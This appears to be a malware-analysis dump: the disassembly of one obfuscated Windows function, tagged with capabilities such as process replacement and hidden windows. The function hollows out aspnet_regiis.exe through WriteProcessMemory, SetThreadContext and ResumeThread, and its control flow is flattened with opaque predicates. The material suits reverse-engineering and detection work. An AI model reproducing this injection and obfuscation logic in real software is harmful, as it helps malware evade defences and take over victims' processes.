Function at 0x10002cb0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x128
mov eax, dword [0x10069800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1006ab28]
mov eax, dword [0x1006ab24]
mov edx, ecx
sub edx, 0x1a4c5227
sub edx, 1
add edx, 0x1a4c5227
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x12a], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x129], al
mov dword [ebp - 0x130], 0x1f5f3105
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x134], eax
sub eax, 0x803e4ed9
je 0x10007d1d
jmp 0x10002d2b
mov eax, dword [ebp - 0x134]
sub eax, 0x80ba934b
je 0x1000af04
jmp 0x10002d41
mov eax, dword [ebp - 0x134]
sub eax, 0x8189c0fb
je 0x10008d5e
jmp 0x10002d57
mov eax, dword [ebp - 0x134]
sub eax, 0x832eba91
je 0x1000753c
jmp 0x10002d6d
mov eax, dword [ebp - 0x134]
sub eax, 0x83874af9
je 0x1000a75b
jmp 0x10002d83
mov eax, dword [ebp - 0x134]
sub eax, 0x847965d7
je 0x10006f89
jmp 0x10002d99
mov eax, dword [ebp - 0x134]
sub eax, 0x84aa905e
je 0x10006280
jmp 0x10002daf
mov eax, dword [ebp - 0x134]
sub eax, 0x8521976f
je 0x10008cff
jmp 0x10002dc5
mov eax, dword [ebp - 0x134]
sub eax, 0x8611df31
je 0x10006f7a
jmp 0x10002ddb
mov eax, dword [ebp - 0x134]
sub eax, 0x86248191
je 0x1000b0ff
jmp 0x10002df1
mov eax, dword [ebp - 0x134]
sub eax, 0x862704a0
je 0x100093a5
jmp 0x10002e07
mov eax, dword [ebp - 0x134]
sub eax, 0x862c4dc7
je 0x10009fcd
jmp 0x10002e1d
mov eax, dword [ebp - 0x134]
sub eax, 0x8648eaa8
je 0x100086d0
jmp 0x10002e33
mov eax, dword [ebp - 0x134]
sub eax, 0x8650f72b
je 0x100068e4
jmp 0x10002e49
mov eax, dword [ebp - 0x134]
sub eax, 0x86bf66b7
je 0x1000aded
jmp 0x10002e5f
mov eax, dword [ebp - 0x134]
sub eax, 0x86d43c9f
je 0x100059c1
jmp 0x10002e75
mov eax, dword [ebp - 0x134]
sub eax, 0x87340040
je 0x1000b05d
jmp 0x10002e8b
mov eax, dword [ebp - 0x134]
sub eax, 0x87e0dfee
je 0x1000ab39
jmp 0x10002ea1
mov eax, dword [ebp - 0x134]
sub eax, 0x881ef393
je 0x10007baa
jmp 0x10002eb7
mov eax, dword [ebp - 0x134]
sub eax, 0x8980bb4a
je 0x1000aeb0
jmp 0x10002ecd
mov eax, dword [ebp - 0x134]
sub eax, 0x89be039f
je 0x10009f7b
jmp 0x10002ee3
mov eax, dword [ebp - 0x134]
sub eax, 0x89dc932b
je 0x1000b266
jmp 0x10002ef9
mov eax, dword [ebp - 0x134]
sub eax, 0x8a1506da
je 0x1000ac22
jmp 0x10002f0f
mov eax, dword [ebp - 0x134]
sub eax, 0x8c63981f
je 0x100093ee
jmp 0x10002f25
mov eax, dword [ebp - 0x134]
sub eax, 0x8ce5f543
je 0x10007a58
jmp 0x10002f3b
mov eax, dword [ebp - 0x134]
sub eax, 0x8d774af5
je 0x100091c5
jmp 0x10002f51
mov eax, dword [ebp - 0x134]
sub eax, 0x8e628d39
je 0x1000845d
jmp 0x10002f67
mov eax, dword [ebp - 0x134]
sub eax, 0x8ebfccba
je 0x10006677
jmp 0x10002f7d
mov eax, dword [ebp - 0x134]
sub eax, 0x8f4d59a3
je 0x1000ac01
jmp 0x10002f93
mov eax, dword [ebp - 0x134]
sub eax, 0x8fef0d6a
je 0x10005c85
jmp 0x10002fa9
mov eax, dword [ebp - 0x134]
sub eax, 0x91bcbb5a
je 0x10005909
jmp 0x10002fbf
mov eax, dword [ebp - 0x134]
sub eax, 0x92e5898d
je 0x100056c4
jmp 0x10002fd5
mov eax, dword [ebp - 0x134]
sub eax, 0x93af386d
je 0x10009717
jmp 0x10002feb
mov eax, dword [ebp - 0x134]
sub eax, 0x9422939f
je 0x10007111
jmp 0x10003001
mov eax, dword [ebp - 0x134]
sub eax, 0x9548b12d
je 0x10005dc7
jmp 0x10003017
mov eax, dword [ebp - 0x134]
sub eax, 0x9663e911
je 0x100063aa
jmp 0x1000302d
mov eax, dword [ebp - 0x134]
sub eax, 0x9670e71b
je 0x1000587a
jmp 0x10003043
mov eax, dword [ebp - 0x134]
sub eax, 0x97bbe0b4
je 0x1000ae8f
jmp 0x10003059
mov eax, dword [ebp - 0x134]
sub eax, 0x97db7177
je 0x1000b00c
jmp 0x1000306f
mov eax, dword [ebp - 0x134]
sub eax, 0x98077e30
je 0x10007e25
jmp 0x10003085
mov eax, dword [ebp - 0x134]
sub eax, 0x98c8fba2
je 0x1000adfc
jmp 0x1000309b
mov eax, dword [ebp - 0x134]
sub eax, 0x9917c600
je 0x10008c40
jmp 0x100030b1
mov eax, dword [ebp - 0x134]
sub eax, 0x99a33e9e
je 0x10005c05
jmp 0x100030c7
mov eax, dword [ebp - 0x134]
sub eax, 0x99e3b7b7
je 0x10009f8a
jmp 0x100030dd
mov eax, dword [ebp - 0x134]
sub eax, 0x99fd437a
je 0x1000605d
jmp 0x100030f3
mov eax, dword [ebp - 0x134]
sub eax, 0x9a0bce6e
je 0x10005cd9
jmp 0x10003109
mov eax, dword [ebp - 0x134]
sub eax, 0x9a7ca177
je 0x1000af22
jmp 0x1000311f
mov eax, dword [ebp - 0x134]
sub eax, 0x9a86eeac
je 0x1000a9a3
jmp 0x10003135
mov eax, dword [ebp - 0x134]
sub eax, 0x9b62bc81
je 0x1000a5e2
jmp 0x1000314b
mov eax, dword [ebp - 0x134]
sub eax, 0x9b7f7f94
je 0x100074ec
jmp 0x10003161
mov eax, dword [ebp - 0x134]
sub eax, 0x9bb10e2c
je 0x1000772f
jmp 0x10003177
mov eax, dword [ebp - 0x134]
sub eax, 0x9cb75183
je 0x1000a9b2
jmp 0x1000318d
mov eax, dword [ebp - 0x134]
sub eax, 0x9cea56eb
je 0x100077ed
jmp 0x100031a3
mov eax, dword [ebp - 0x134]
sub eax, 0x9d12b5da
je 0x10005ef1
jmp 0x100031b9
mov eax, dword [ebp - 0x134]
sub eax, 0x9f26e13d
je 0x1000756c
jmp 0x100031cf
mov eax, dword [ebp - 0x134]
sub eax, 0x9fc72327
je 0x1000ac82
jmp 0x100031e5
mov eax, dword [ebp - 0x134]
sub eax, 0xa006171a
je 0x100062b3
jmp 0x100031fb
mov eax, dword [ebp - 0x134]
sub eax, 0xa0212442
je 0x10005ae7
jmp 0x10003211
mov eax, dword [ebp - 0x134]
sub eax, 0xa258608e
je 0x10009487
jmp 0x10003227
mov eax, dword [ebp - 0x134]
sub eax, 0xa4262a3e
je 0x10006e54
jmp 0x1000323d
mov eax, dword [ebp - 0x134]
sub eax, 0xa48e04e8
je 0x1000741b
jmp 0x10003253
mov eax, dword [ebp - 0x134]
sub eax, 0xa6058469
je 0x10006c91
jmp 0x10003269
mov eax, dword [ebp - 0x134]
sub eax, 0xa60da636
je 0x10007afa
jmp 0x1000327f
mov eax, dword [ebp - 0x134]
sub eax, 0xa660b120
je 0x1000607a
jmp 0x10003295
mov eax, dword [ebp - 0x134]
sub eax, 0xa7603b31
je 0x10007338
mov ecx, dword [0x1006ab28]
mov eax, dword [0x1006ab24]
mov edx, ecx
add edx, 0x44aec3ce
sub edx, 1
sub edx, 0x44aec3ce
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc054b1f3
mov ecx, 0xd81768c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x1000b561
mov dl, 1
mov eax, 0xb41c660c
mov ecx, 0x4c4a20
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x1000b561
mov eax, dword [ebp - 0x128]
movss xmm0, dword [0x1001821c]
movss dword [eax], xmm0
mov ecx, dword [0x1006ab28]
mov eax, dword [0x1006ab24]
mov edx, ecx
sub edx, 0x424fe702
sub edx, 1
add edx, 0x424fe702
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8a1506da
mov ecx, 0x3cb09e1f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x1000b561
mov eax, dword [0x1006ab28]
mov ecx, dword [0x1006ab24]
mov edx, eax
sub edx, 0x4ba2611
sub edx, 1
add edx, 0x4ba2611
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x47cd41e5
mov ecx, 0xf2a3f0ed
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x1000b561
mov eax, dword [ebp - 0x128]
movss xmm0, dword [0x10018398]
movss dword [eax], xmm0
mov dword [ebp - 0x130], 0x604b5a8f
jmp 0x1000b561
mov eax, dword [ebp - 0x128]
movss xmm0, dword [0x10018390]
movss dword [eax], xmm0
mov dword [ebp - 0x130], 0xc5587535
jmp 0x1000b561
mov eax, dword [ebp - 0x128]
movss xmm0, dword [0x10018384]
movss dword [eax], xmm0
mov dword [ebp - 0x130], 0xd79b7233
jmp 0x1000b561
mov eax, dword [0x1006ab28]
mov ecx, dword [0x1006ab24]
mov edx, eax
sub edx, 0xfef591f4
sub edx, 1
add edx, 0xfef591f4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe9f009aa
mov ecx, 0xcb3fca9a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x1000b561
mov ecx, dword [0x1006ab28]
mov eax, dword [0x1006ab24]
mov edx, ecx
sub edx, 0xeb775fbb
sub edx, 1
add edx, 0xeb775fbb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9fc72327
mov ecx, 0x18db8b21
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x1000b561
mov ecx, dword [0x1006ab28]
mov eax, dword [0x1006ab24]
mov edx, ecx
add edx, 0x81f414f
sub edx, 1
sub edx, 0x81f414f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x17140003
mov ecx, 0x32e082ec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x1000b561
mov dl, 1
mov eax, 0x161b0451
mov ecx, 0xa660b120
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x1000b561
mov ecx, dword [0x1006ab28]
mov eax, dword [0x1006ab24]
mov edx, ecx
sub edx, 0x198ef3a
sub edx, 1
add edx, 0x198ef3a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc566cb4e
mov ecx, 0x78cbc781
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x1000b561
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x10018360]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x1001835c]
movss dword [eax], xmm0
mov dword [ebp - 0x130], 0xa006171a
jmp 0x1000b561
mov dword [ebp - 0x130], 0x3e70b70
jmp 0x1000b561
mov dl, 1
mov eax, 0x59452e93
mov ecx, 0xf3fb0f68
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x1000b561
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x10018350]
movss dword [eax], xmm0
mov dword [ebp - 0x130], 0x35f3717e
jmp 0x1000b561
mov dl, 1
mov eax, 0x2c68143f
mov ecx, 0x28c18b49
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x1000b561
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x100181e8]
movss dword [eax], xmm0
mov ecx, dword [0x1006ab28]
mov eax, dword [0x1006ab24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x98c8fba2
mov ecx, 0xda6c0ea0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x1000b561
mov dword [ebp - 0x130], 0xc074204
jmp 0x1000b561
mov dword [ebp - 0x130], 0x847965d7
jmp 0x1000b561
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x10018308]
movss dword [eax], xmm0
mov dword [ebp - 0x130], 0x4bf624b6
jmp 0x1000b561
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x100181dc]
movss dword [eax], xmm0
mov ecx, dword [0x1006ab28]
mov eax, dword [0x1006ab24]
mov edx, ecx
sub edx, 0x7f4001d2
sub edx, 1
add edx, 0x7f4001d2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe5b6b853
mov ecx, 0x67640ab3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x1000b561
mov ecx, dword [0x1006ab28]
mov eax, dword [0x1006ab24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7074a4c
mov ecx, 0xa79bbb93
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x1000b561
mov dl, 1
mov eax, 0x38b662bf
mov ecx, 0x6c1813e0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x1000b561
mov dword [ebp - 0x130], 0x38b662bf
jmp 0x1000b561
mov ecx, dword [0x1006ab28]
mov eax, dword [0x1006ab24]
mov edx, ecx
sub edx, 0xc8326495
sub edx, 1
add edx, 0xc8326495
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x80ba934b
mov ecx, 0xcf13f195
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x1000b561
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x100182d8]
movss dword [eax], xmm0
mov dword [ebp - 0x130], 0x6ea72c3f
jmp 0x1000b561
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x100182c8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x100182c4]
movss dword [eax], xmm0
mov dword [ebp - 0x130], 0x372113
jmp 0x1000b561
mov eax, dword [0x1006ab28]
mov ecx, dword [0x1006ab24]
mov edx, eax
add edx, 0xda7f68e4
sub edx, 1
sub edx, 0xda7f68e4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9a7ca177
mov ecx, 0x2ec217fe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x1000b561
mov dl, 1
mov eax, 0x7da18729
mov ecx, 0x42b6d454
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x1000b561
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x100181c8]
movss dword [eax], xmm0
mov ecx, dword [0x1006ab28]
mov eax, dword [0x1006ab24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe4ef2f41
mov ecx, 0xae151544
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x1000b561
mov ecx, dword [0x1006ab28]
mov eax, dword [0x1006ab24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe2a50026
mov ecx, 0x10a2e497
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x1000b561
mov dword [ebp - 0x130], 0x469e1750
jmp 0x1000b561
mov ecx, dword [0x1006ab28]
mov eax, dword [0x1006ab24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x87340040
mov ecx, 0x1075a095
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x1000b561
mov dword [ebp - 0x130], 0xcc4a16c3
jmp 0x1000b561
mov eax, dword [0x1006ab28]
mov ecx, dword [0x1006ab24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4df6d429
mov ecx, 0x4b059cdf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x1000b561
mov dl, 1
mov eax, 0x8189c0fb
mov ecx, 0x32f3a1d7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x1000b561
mov eax, dword [0x1006ab28]
mov ecx, dword [0x1006ab24]
mov edx, eax
add edx, 0xfddb629c
sub edx, 1
sub edx, 0xfddb629c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1da6e17b
mov ecx, 0xac88ce
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x1000b561
mov eax, dword [ebp - 0xec]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x130], 0x31a45a2e
jmp 0x1000b561
mov eax, dword [0x1006ab28]
mov ecx, dword [0x1006ab24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdac1f6a0
mov ecx, 0x8c63981f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x1000b561
mov dl, byte [ebp - 0x9d]
mov eax, 0xbe189
mov ecx, 0x42ab76f0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x1000b561
mov eax, dword [0x1006ab28]
mov ecx, dword [0x1006ab24]
mov edx, eax
sub edx, 0xadd22979
sub edx, 1
add edx, 0xadd22979
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1b25bf8
mov ecx, 0xdc0d497f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x1000b561
mov dl, byte [ebp - 0x89]
mov eax, 0xda6d6ada
mov ecx, 0xac69a3a6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x1000b561
mov dword [ebp - 0x130], 0x99e3b7b7
jmp 0x1000b561
mov dl, byte [ebp - 0x51]
mov eax, 0xd3f9fa74
mov ecx, 0xc0ff555f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x1000b561
mov eax, dword [ebp - 0x4c]
mov esi, dword [eax + 0x34]
mov edx, dword [ebp - 0x50]
mov eax, 0xd3f9fa74
mov ecx, 0xca030109
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x1000b561
mov eax, dword [0x1006ab28]
mov ecx, dword [0x1006ab24]
mov edx, eax
add edx, 0xc4f5fc33
sub edx, 1
sub edx, 0xc4f5fc33
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd0627a35
mov ecx, 0x1f610b74
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x1000b561
mov eax, dword [0x1006ab28]
mov ecx, dword [0x1006ab24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe0d4e5c8
mov ecx, 0xe4783ae0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x1000b561
mov dword [ebp - 0x130], 0x9cb75183
jmp 0x1000b561
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x130], 0x9af9ac1
jmp 0x1000b561
mov dword [ebp - 0x130], 0xe904b71b
jmp 0x1000b561
mov eax, dword [ebp - 0x128]
movss xmm0, dword [0x10018220]
movss dword [eax], xmm0
mov dword [ebp - 0x130], 0x142db313
jmp 0x1000b561
mov eax, dword [ebp - 0x128]
movss xmm0, dword [0x1001821c]
movss dword [eax], xmm0
mov dword [ebp - 0x130], 0x91bcbb5a
jmp 0x1000b561
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x10018214]
movss dword [eax], xmm0
mov dword [ebp - 0x130], 0x18db8b21
jmp 0x1000b561
mov dword [ebp - 0x130], 0x27d705d0
jmp 0x1000b561
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x100181e8]
movss dword [eax], xmm0
mov dword [ebp - 0x130], 0xa6058469
jmp 0x1000b561
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x100181d8]
movss dword [eax], xmm0
mov dword [ebp - 0x130], 0xef698a32
jmp 0x1000b561
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x100181d4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x100181d0]
movss dword [eax], xmm0
mov dword [ebp - 0x130], 0xa7603b31
jmp 0x1000b561
mov dword [ebp - 0x130], 0xcf13f195
jmp 0x1000b561
mov dword [ebp - 0x130], 0x2ec217fe
jmp 0x1000b561
mov dword [ebp - 0x130], 0x2d113e76
jmp 0x1000b561
mov dword [ebp - 0x130], 0x8e628d39
jmp 0x1000b561
mov dword [ebp - 0x130], 0x13eaf13a
jmp 0x1000b561
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xcc]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x108]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xdc]
mov edx, dword [edx]
mov esi, dword [ebp - 0xcc]
imul esi, dword [esi], 0x28
add edx, esi
mov esi, dword [edx + 0x14]
xor edx, edx
sub edx, esi
sub ecx, edx
mov edx, dword [ebp - 0xe4]
mov edx, dword [edx]
mov esi, dword [ebp - 0xdc]
mov esi, dword [esi]
mov edi, dword [ebp - 0xcc]
imul edi, dword [edi], 0x28
add esi, edi
mov edi, dword [esi + 0xc]
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
mov esi, dword [ebp - 0xf8]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0xdc]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xcc]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10002bc0
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0xc8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd0]
mov dword [ebp - 0x130], 0xff502f8b
jmp 0x1000b561
jmp 0x10002d0f